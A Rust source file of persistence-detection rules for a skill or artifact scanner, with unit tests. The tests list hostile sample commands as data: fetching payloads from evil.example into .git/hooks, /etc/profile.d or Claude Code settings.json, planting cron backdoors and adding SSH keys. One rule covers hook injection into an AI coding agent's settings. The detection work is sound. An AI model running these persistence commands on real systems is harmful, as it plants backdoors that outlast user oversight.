use crate::rules::types::{Category, Confidence, Rule, Severity};
use regex::Regex;
pub fn rules() -> Vec<Rule> {
vec![
ps_001(),
ps_003(),
ps_004(),
ps_005(),
ps_006(),
ps_007(),
ps_008(),
ps_009(),
ps_010(),
ps_011(),
ps_012(),
]
}
fn ps_001() -> Rule {
Rule {
id: "PS-001",
name: "Crontab manipulation",
description: "Detects crontab commands which could be used to establish persistence",
severity: Severity::Critical,
category: Category::Persistence,
confidence: Confidence::Firm,
patterns: vec![
Regex::new(r"\bcrontab\s+").expect("PS-001: invalid regex"),
Regex::new(r"/etc/cron").expect("PS-001: invalid regex"),
Regex::new(r"/var/spool/cron").expect("PS-001: invalid regex"),
],
exclusions: vec![
Regex::new(r"crontab\s+-l\b").expect("PS-001: invalid regex"), ],
message: "Persistence mechanism: crontab manipulation detected",
recommendation: "Skills should not modify scheduled tasks. Review the necessity of cron access",
fix_hint: Some(
"Remove crontab commands. Use explicit user interaction for scheduled tasks",
),
cwe_ids: &["CWE-912"],
}
}
fn ps_003() -> Rule {
Rule {
id: "PS-003",
name: "Shell profile modification",
description: "Detects modifications to shell profiles (.bashrc, .zshrc, etc.) for persistence",
severity: Severity::Critical,
category: Category::Persistence,
confidence: Confidence::Firm,
patterns: vec![
Regex::new(r">>\s*.*\.(bashrc|bash_profile|zshrc|profile|zprofile)")
.expect("PS-003: invalid regex"),
Regex::new(r">\s*.*\.(bashrc|bash_profile|zshrc|profile|zprofile)")
.expect("PS-003: invalid regex"),
Regex::new(r"echo\s+.*\.(bashrc|bash_profile|zshrc|profile|zprofile)")
.expect("PS-003: invalid regex"),
Regex::new(r"tee\s+.*\.(bashrc|bash_profile|zshrc|profile|zprofile)")
.expect("PS-003: invalid regex"),
],
exclusions: vec![],
message: "Persistence mechanism: shell profile modification detected",
recommendation: "Skills should not modify shell startup files",
fix_hint: Some(
"Remove shell profile modifications. Document required env vars for manual setup",
),
cwe_ids: &["CWE-912"],
}
}
fn ps_004() -> Rule {
Rule {
id: "PS-004",
name: "System service registration",
description: "Detects registration of system services (systemd, launchd) for persistence",
severity: Severity::Critical,
category: Category::Persistence,
confidence: Confidence::Tentative,
patterns: vec![
Regex::new(r"systemctl\s+(enable|start|daemon-reload)").expect("PS-004: invalid regex"),
Regex::new(r"/etc/systemd/system/").expect("PS-004: invalid regex"),
Regex::new(r"\.service\b").expect("PS-004: invalid regex"),
Regex::new(r"launchctl\s+(load|bootstrap|enable)").expect("PS-004: invalid regex"),
Regex::new(r"~/Library/LaunchAgents/").expect("PS-004: invalid regex"),
Regex::new(r"/Library/Launch(Agents|Daemons)/").expect("PS-004: invalid regex"),
Regex::new(r"\.plist\b").expect("PS-004: invalid regex"),
],
exclusions: vec![
Regex::new(r"systemctl\s+status").expect("PS-004: invalid regex"),
Regex::new(r"launchctl\s+list").expect("PS-004: invalid regex"),
],
message: "Persistence mechanism: system service registration detected",
recommendation: "Skills should not register system services without explicit approval",
fix_hint: Some(
"Remove service registration. Provide manual installation instructions instead",
),
cwe_ids: &["CWE-912"],
}
}
fn ps_005() -> Rule {
Rule {
id: "PS-005",
name: "SSH authorized_keys modification",
description: "Detects modifications to authorized_keys which could grant persistent SSH access",
severity: Severity::Critical,
category: Category::Persistence,
confidence: Confidence::Certain,
patterns: vec![
Regex::new(r">>\s*.*authorized_keys").expect("PS-005: invalid regex"),
Regex::new(r">\s*.*authorized_keys").expect("PS-005: invalid regex"),
Regex::new(r"echo\s+.*authorized_keys").expect("PS-005: invalid regex"),
Regex::new(r"tee\s+.*authorized_keys").expect("PS-005: invalid regex"),
Regex::new(r"cat\s+.*>\s*.*authorized_keys").expect("PS-005: invalid regex"),
],
exclusions: vec![],
message: "Persistence mechanism: authorized_keys modification detected",
recommendation: "Skills should never modify SSH authorized_keys",
fix_hint: Some("Remove authorized_keys modification. Never automate SSH key management"),
cwe_ids: &["CWE-912", "CWE-522"],
}
}
fn ps_006() -> Rule {
Rule {
id: "PS-006",
name: "Delayed/background execution",
description: "Detects commands that schedule delayed or background execution to evade detection",
severity: Severity::High,
category: Category::Persistence,
confidence: Confidence::Firm,
patterns: vec![
Regex::new(r"\bat\s+(now|midnight|noon|\d)").expect("PS-006: invalid regex"),
Regex::new(r"\|\s*at\s+(now|midnight|\d)").expect("PS-006: invalid regex"),
Regex::new(r"\bbatch\b").expect("PS-006: invalid regex"),
Regex::new(r"screen\s+-[dDmS]+.*(-c|bash|sh|curl|wget|nc)")
.expect("PS-006: invalid regex"),
Regex::new(r"tmux\s+(new-session|new)\s+-d").expect("PS-006: invalid regex"),
Regex::new(r"nohup\s+.*\b(curl|wget|nc|netcat|bash|sh)\b")
.expect("PS-006: invalid regex"),
Regex::new(r"nohup\s+.*\b(python3?|node|ruby|perl)\b").expect("PS-006: invalid regex"),
Regex::new(r"&\s*;\s*disown").expect("PS-006: invalid regex"),
Regex::new(r"disown\s+-h").expect("PS-006: invalid regex"),
Regex::new(r"setsid\s+.*\b(curl|wget|nc|bash|sh)\b").expect("PS-006: invalid regex"),
Regex::new(r"systemd-run\s+(--scope|--user).*\b(curl|wget|bash|sh|python|node)\b")
.expect("PS-006: invalid regex"),
Regex::new(r"timeout\s+.*&\s*$").expect("PS-006: invalid regex"),
Regex::new(r"sleep\s+\d+\s*;\s*(curl|wget|bash|sh|nc)").expect("PS-006: invalid regex"),
Regex::new(r"sleep\s+\d+\s*&&\s*(curl|wget|bash|sh|nc)")
.expect("PS-006: invalid regex"),
Regex::new(r":\(\)\s*\{\s*:\|\:&\s*\}").expect("PS-006: invalid regex"),
Regex::new(r"\bstart-stop-daemon\s+--start").expect("PS-006: invalid regex"),
Regex::new(r"&>\s*/dev/null\s*&").expect("PS-006: invalid regex"),
Regex::new(r">\s*/dev/null\s+2>&1\s*&").expect("PS-006: invalid regex"),
],
exclusions: vec![
Regex::new(r"^\s*#").expect("PS-006: invalid regex"),
Regex::new(r"screen\s+-r").expect("PS-006: invalid regex"),
Regex::new(r"tmux\s+attach").expect("PS-006: invalid regex"),
],
message: "Delayed or background execution detected. This can be used to evade detection or establish persistence.",
recommendation: "Avoid scheduling background tasks. Use explicit, foreground execution that users can observe.",
fix_hint: Some("Remove delayed execution. Execute commands directly in the foreground."),
cwe_ids: &["CWE-912"],
}
}
fn ps_007() -> Rule {
Rule {
id: "PS-007",
name: "Init system manipulation",
description: "Detects manipulation of init systems and startup scripts for persistence",
severity: Severity::Critical,
category: Category::Persistence,
confidence: Confidence::Firm,
patterns: vec![
Regex::new(r">\s*/etc/rc\.local").expect("PS-007: invalid regex"),
Regex::new(r">>\s*/etc/rc\.local").expect("PS-007: invalid regex"),
Regex::new(r">\s*/etc/init\.d/").expect("PS-007: invalid regex"),
Regex::new(r"update-rc\.d").expect("PS-007: invalid regex"),
Regex::new(r"chkconfig\s+--add").expect("PS-007: invalid regex"),
Regex::new(r"\.config/autostart/.*\.desktop").expect("PS-007: invalid regex"),
Regex::new(r"/etc/xdg/autostart/").expect("PS-007: invalid regex"),
Regex::new(r"HKEY.*\\Run").expect("PS-007: invalid regex"),
Regex::new(r"defaults\s+write.*LoginHook").expect("PS-007: invalid regex"),
],
exclusions: vec![Regex::new(r"^\s*#").expect("PS-007: invalid regex")],
message: "Init system manipulation detected. This is commonly used to establish boot-time persistence.",
recommendation: "Skills should not modify system startup scripts or init configurations.",
fix_hint: Some("Remove init system modifications. Provide manual setup instructions."),
cwe_ids: &["CWE-912"],
}
}
fn ps_008() -> Rule {
Rule {
id: "PS-008",
name: "Systemd service creation",
description: "Detects creation of systemd service unit files for establishing persistence on Linux systems",
severity: Severity::Critical,
category: Category::Persistence,
confidence: Confidence::Certain,
patterns: vec![
Regex::new(r">\s*/etc/systemd/system/[^/]+\.service").expect("PS-008: invalid regex"),
Regex::new(r">>\s*/etc/systemd/system/").expect("PS-008: invalid regex"),
Regex::new(r"tee\s+.*\.service").expect("PS-008: invalid regex"),
Regex::new(r"~/.config/systemd/user/").expect("PS-008: invalid regex"),
Regex::new(r"\$HOME/.config/systemd/user/").expect("PS-008: invalid regex"),
Regex::new(r"\[Service\]").expect("PS-008: invalid regex"),
Regex::new(r"ExecStart\s*=").expect("PS-008: invalid regex"),
Regex::new(r"WantedBy\s*=\s*(multi-user|default)\.target")
.expect("PS-008: invalid regex"),
Regex::new(r">\s*/etc/systemd/system/[^/]+\.timer").expect("PS-008: invalid regex"),
Regex::new(r"\[Timer\]").expect("PS-008: invalid regex"),
Regex::new(r"OnBootSec\s*=|OnUnitActiveSec\s*=").expect("PS-008: invalid regex"),
],
exclusions: vec![
Regex::new(r"^\s*#").expect("PS-008: invalid regex"),
Regex::new(r"systemctl\s+(status|show|cat)").expect("PS-008: invalid regex"),
],
message: "Systemd service creation detected. This establishes persistent execution on system boot.",
recommendation: "Skills should not create systemd services. Provide manual installation instructions.",
fix_hint: Some(
"Remove systemd service creation. Document how users can manually install if needed.",
),
cwe_ids: &["CWE-912"],
}
}
fn ps_009() -> Rule {
Rule {
id: "PS-009",
name: "Launchd plist creation (macOS)",
description: "Detects creation of launchd plist files for establishing persistence on macOS",
severity: Severity::Critical,
category: Category::Persistence,
confidence: Confidence::Certain,
patterns: vec![
Regex::new(r">\s*~/Library/LaunchAgents/[^/]+\.plist").expect("PS-009: invalid regex"),
Regex::new(r">\s*\$HOME/Library/LaunchAgents/").expect("PS-009: invalid regex"),
Regex::new(r"tee\s+.*LaunchAgents.*\.plist").expect("PS-009: invalid regex"),
Regex::new(r">\s*/Library/LaunchDaemons/").expect("PS-009: invalid regex"),
Regex::new(r">\s*/Library/LaunchAgents/").expect("PS-009: invalid regex"),
Regex::new(r"<key>ProgramArguments</key>").expect("PS-009: invalid regex"),
Regex::new(r"<key>RunAtLoad</key>").expect("PS-009: invalid regex"),
Regex::new(r"<key>KeepAlive</key>").expect("PS-009: invalid regex"),
Regex::new(r"<key>StartInterval</key>").expect("PS-009: invalid regex"),
Regex::new(r"<key>StartCalendarInterval</key>").expect("PS-009: invalid regex"),
Regex::new(r"plutil\s+-insert.*LaunchAgents").expect("PS-009: invalid regex"),
Regex::new(r"defaults\s+write.*LaunchAgents").expect("PS-009: invalid regex"),
],
exclusions: vec![
Regex::new(r"^\s*#").expect("PS-009: invalid regex"),
Regex::new(r"launchctl\s+list").expect("PS-009: invalid regex"),
Regex::new(r"plutil\s+-lint").expect("PS-009: invalid regex"),
],
message: "Launchd plist creation detected. This establishes persistent execution on macOS.",
recommendation: "Skills should not create launchd plists. Provide manual installation instructions.",
fix_hint: Some(
"Remove launchd plist creation. Document how users can manually install if needed.",
),
cwe_ids: &["CWE-912"],
}
}
fn ps_010() -> Rule {
Rule {
id: "PS-010",
name: "Git hooks persistence",
description: "Detects writing or downloading payloads into .git/hooks/ or redirecting core.hooksPath out of tree, a git-native persistence technique (MITRE T1546)",
severity: Severity::Critical,
category: Category::Persistence,
confidence: Confidence::Firm,
patterns: vec![
Regex::new(r"(cp|mv|tee|install|curl|wget)\s+[^\n]*\.git/hooks/\S")
.expect("PS-010: invalid regex"),
Regex::new(r">\s*[^\n]*\.git/hooks/\S").expect("PS-010: invalid regex"),
Regex::new(r"chmod\s+[^\n]*\.git/hooks/\S").expect("PS-010: invalid regex"),
Regex::new(r"core\.hooksPath\s+(/|~|\$|\.\./)").expect("PS-010: invalid regex"),
],
exclusions: vec![
Regex::new(r"^\s*#").expect("PS-010: invalid regex"),
Regex::new(r"^\s*(ls|cat|less|stat)\s+[^\n]*\.git/hooks/")
.expect("PS-010: invalid regex"),
],
message: "Git hooks persistence detected. Writing to .git/hooks/ enables code execution on git operations.",
recommendation: "Skills should not modify .git/hooks/. Use a checked-in .githooks/ dir with explicit user opt-in instead.",
fix_hint: Some(
"Remove writes to .git/hooks/. Document how users can install hooks via core.hooksPath to a reviewed, in-tree directory.",
),
cwe_ids: &["CWE-506", "CWE-912"],
}
}
fn ps_011() -> Rule {
Rule {
id: "PS-011",
name: "Claude Code settings hook injection",
description: "Detects an artifact writing to Claude Code settings.json to inject an auto-run hook, establishing persistence inside the Claude Code environment (MITRE T1546)",
severity: Severity::Critical,
category: Category::Persistence,
confidence: Confidence::Firm,
patterns: vec![
Regex::new(r"(>|>>)\s*[^\n]*\.claude/settings(\.local)?\.json")
.expect("PS-011: invalid regex"),
Regex::new(r"(tee|cp|mv|install)\s+[^\n]*\.claude/settings(\.local)?\.json")
.expect("PS-011: invalid regex"),
Regex::new(r"(curl|wget)\s+[^\n]*\.claude/settings(\.local)?\.json")
.expect("PS-011: invalid regex"),
],
exclusions: vec![
Regex::new(r"^\s*#").expect("PS-011: invalid regex"),
],
message: "Claude Code settings hook injection detected. Writing to settings.json can register hooks that auto-execute on tool use.",
recommendation: "Artifacts must never write to ~/.claude/settings.json. Document required settings so the user can review and apply them manually.",
fix_hint: Some(
"Remove writes to .claude/settings.json. Ask the user to add any needed hooks themselves after review.",
),
cwe_ids: &["CWE-506", "CWE-912"],
}
}
fn ps_012() -> Rule {
Rule {
id: "PS-012",
name: "System-wide shell init persistence",
description: "Detects writes into /etc/profile.d/ or /etc/profile, which run for every login shell of every user — a system-wide persistence vector distinct from per-user dotfiles (MITRE T1546.004)",
severity: Severity::Critical,
category: Category::Persistence,
confidence: Confidence::Firm,
patterns: vec![
Regex::new(r"(>>?|tee|cp|mv|install)\s+[^\n]*/etc/profile\.d/\S+")
.expect("PS-012: invalid regex"),
Regex::new(r"(curl|wget)\s+[^\n]*/etc/profile\.d/\S+").expect("PS-012: invalid regex"),
Regex::new(r"(>>?|tee|cp|mv|install)\s+[^\n]*/etc/profile\b")
.expect("PS-012: invalid regex"),
],
exclusions: vec![
Regex::new(r"^\s*#").expect("PS-012: invalid regex"),
Regex::new(r"^\s*(cat|less|stat|grep|ls|source|\.)\s+[^\n]*/etc/profile")
.expect("PS-012: invalid regex"),
],
message: "System-wide shell init persistence detected: a payload is being written to /etc/profile.d/ or /etc/profile, which runs for every user's login shell.",
recommendation: "Artifacts must not write system-wide shell init files. Remove the write and audit /etc/profile.d for planted scripts.",
fix_hint: Some(
"Delete writes to /etc/profile.d/ and /etc/profile; system-wide shell configuration belongs in reviewed provisioning.",
),
cwe_ids: &["CWE-506", "CWE-912"],
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_ps_001_detects_crontab() {
let rule = ps_001();
let test_cases = vec![
("crontab -e", true),
("crontab /tmp/cron.txt", true),
("echo '* * * * * /tmp/backdoor' >> /etc/cron.d/evil", true),
("crontab -l", false), ];
for (input, should_match) in test_cases {
let matched = rule.patterns.iter().any(|p| p.is_match(input));
let excluded = rule.exclusions.iter().any(|e| e.is_match(input));
let result = matched && !excluded;
assert_eq!(result, should_match, "Failed for input: {}", input);
}
}
#[test]
fn test_ps_003_detects_shell_profile_mod() {
let rule = ps_003();
let test_cases = vec![
("echo 'export PATH=...' >> ~/.bashrc", true),
("echo 'alias ll=ls' >> ~/.zshrc", true),
("tee -a ~/.bash_profile", true),
("cat ~/.bashrc", false), ("echo 'hello' > file.txt", false),
];
for (input, should_match) in test_cases {
let matched = rule.patterns.iter().any(|p| p.is_match(input));
assert_eq!(matched, should_match, "Failed for input: {}", input);
}
}
#[test]
fn test_ps_004_detects_service_registration() {
let rule = ps_004();
let test_cases = vec![
("systemctl enable myservice", true),
("systemctl start backdoor.service", true),
("cp evil.service /etc/systemd/system/", true),
("launchctl load ~/Library/LaunchAgents/com.evil.plist", true),
("cp agent.plist ~/Library/LaunchAgents/", true),
("systemctl status nginx", false), ("launchctl list", false), ];
for (input, should_match) in test_cases {
let matched = rule.patterns.iter().any(|p| p.is_match(input));
let excluded = rule.exclusions.iter().any(|e| e.is_match(input));
let result = matched && !excluded;
assert_eq!(result, should_match, "Failed for input: {}", input);
}
}
#[test]
fn test_ps_005_detects_authorized_keys_mod() {
let rule = ps_005();
let test_cases = vec![
("echo 'ssh-rsa AAAA...' >> ~/.ssh/authorized_keys", true),
("cat key.pub >> /home/user/.ssh/authorized_keys", true),
("tee -a ~/.ssh/authorized_keys", true),
("cat ~/.ssh/authorized_keys", false), ];
for (input, should_match) in test_cases {
let matched = rule.patterns.iter().any(|p| p.is_match(input));
assert_eq!(matched, should_match, "Failed for input: {}", input);
}
}
#[test]
fn snapshot_ps_001() {
let rule = ps_001();
let content = include_str!("../../../tests/fixtures/rules/ps_001.txt");
let findings = crate::rules::snapshot_test::scan_with_rule(&rule, content);
crate::assert_rule_snapshot!("ps_001", findings);
}
#[test]
fn snapshot_ps_003() {
let rule = ps_003();
let content = include_str!("../../../tests/fixtures/rules/ps_003.txt");
let findings = crate::rules::snapshot_test::scan_with_rule(&rule, content);
crate::assert_rule_snapshot!("ps_003", findings);
}
#[test]
fn snapshot_ps_004() {
let rule = ps_004();
let content = include_str!("../../../tests/fixtures/rules/ps_004.txt");
let findings = crate::rules::snapshot_test::scan_with_rule(&rule, content);
crate::assert_rule_snapshot!("ps_004", findings);
}
#[test]
fn snapshot_ps_005() {
let rule = ps_005();
let content = include_str!("../../../tests/fixtures/rules/ps_005.txt");
let findings = crate::rules::snapshot_test::scan_with_rule(&rule, content);
crate::assert_rule_snapshot!("ps_005", findings);
}
#[test]
fn snapshot_ps_006() {
let rule = ps_006();
let content = include_str!("../../../tests/fixtures/rules/ps_006.txt");
let findings = crate::rules::snapshot_test::scan_with_rule(&rule, content);
crate::assert_rule_snapshot!("ps_006", findings);
}
#[test]
fn snapshot_ps_007() {
let rule = ps_007();
let content = include_str!("../../../tests/fixtures/rules/ps_007.txt");
let findings = crate::rules::snapshot_test::scan_with_rule(&rule, content);
crate::assert_rule_snapshot!("ps_007", findings);
}
#[test]
fn test_ps_010_detects_git_hooks_persistence() {
let rule = ps_010();
let test_cases = vec![
("echo 'payload' > .git/hooks/pre-commit", true),
("cp /tmp/payload .git/hooks/post-checkout", true),
("chmod +x .git/hooks/post-merge", true),
("curl https://evil.example/h -o .git/hooks/pre-push", true),
("git config core.hooksPath /tmp/evil-hooks", true),
("git config core.hooksPath .githooks", false),
("chmod +x .githooks/pre-commit", false),
("cp scripts/hook .githooks/pre-commit", false),
("git config user.name \"Dev\"", false),
("ls .git/hooks/", false),
];
for (input, should_match) in test_cases {
let matched = rule.patterns.iter().any(|p| p.is_match(input));
let excluded = rule.exclusions.iter().any(|e| e.is_match(input));
let result = matched && !excluded;
assert_eq!(result, should_match, "Failed for input: {}", input);
}
}
#[test]
fn snapshot_ps_010() {
let rule = ps_010();
let content = include_str!("../../../tests/fixtures/rules/ps_010.txt");
let findings = crate::rules::snapshot_test::scan_with_rule(&rule, content);
crate::assert_rule_snapshot!("ps_010", findings);
}
#[test]
fn test_ps_011() {
let rule = ps_011();
let test_cases = vec![
("echo '{\"hooks\":{}}' > ~/.claude/settings.json", true),
("cp /tmp/evil-settings.json ~/.claude/settings.json", true),
(
"curl https://evil.example/s.json -o .claude/settings.json",
true,
),
(
"jq '.hooks += {}' in.json > .claude/settings.local.json",
true,
),
("tee ~/.claude/settings.json < /tmp/payload", true),
("cat ~/.claude/settings.json", false),
("jq '.model' ~/.claude/settings.json", false),
("ls ~/.claude/", false),
("echo 'settings updated'", false),
];
for (input, should_match) in test_cases {
let matched = rule.patterns.iter().any(|p| p.is_match(input));
let excluded = rule.exclusions.iter().any(|e| e.is_match(input));
let result = matched && !excluded;
assert_eq!(result, should_match, "PS-011: Failed for input: {}", input);
}
}
#[test]
fn snapshot_ps_011() {
let rule = ps_011();
let content = include_str!("../../../tests/fixtures/rules/ps_011.txt");
let findings = crate::rules::snapshot_test::scan_with_rule(&rule, content);
crate::assert_rule_snapshot!("ps_011", findings);
}
#[test]
fn test_ps_012_detects_system_shell_init() {
let rule = ps_012();
let test_cases = vec![
(
"echo 'curl http://evil|sh' > /etc/profile.d/backdoor.sh",
true,
),
("cp payload.sh /etc/profile.d/00-init.sh", true),
("echo 'export EVIL=1' >> /etc/profile", true),
("tee /etc/profile.d/hook.sh < payload", true),
("curl http://evil.example/x.sh -o /etc/profile.d/x.sh", true),
("cat /etc/profile.d/nvm.sh", false),
("source /etc/profile.d/bash_completion.sh", false),
("ls /etc/profile.d/", false),
("echo \"$PROFILE\"", false),
];
for (input, should_match) in test_cases {
let matched = rule.patterns.iter().any(|p| p.is_match(input));
let excluded = rule.exclusions.iter().any(|e| e.is_match(input));
let result = matched && !excluded;
assert_eq!(result, should_match, "PS-012: Failed for input: {}", input);
}
}
#[test]
fn snapshot_ps_012() {
let rule = ps_012();
let content = include_str!("../../../tests/fixtures/rules/ps_012.txt");
let findings = crate::rules::snapshot_test::scan_with_rule(&rule, content);
crate::assert_rule_snapshot!("ps_012", findings);
}
}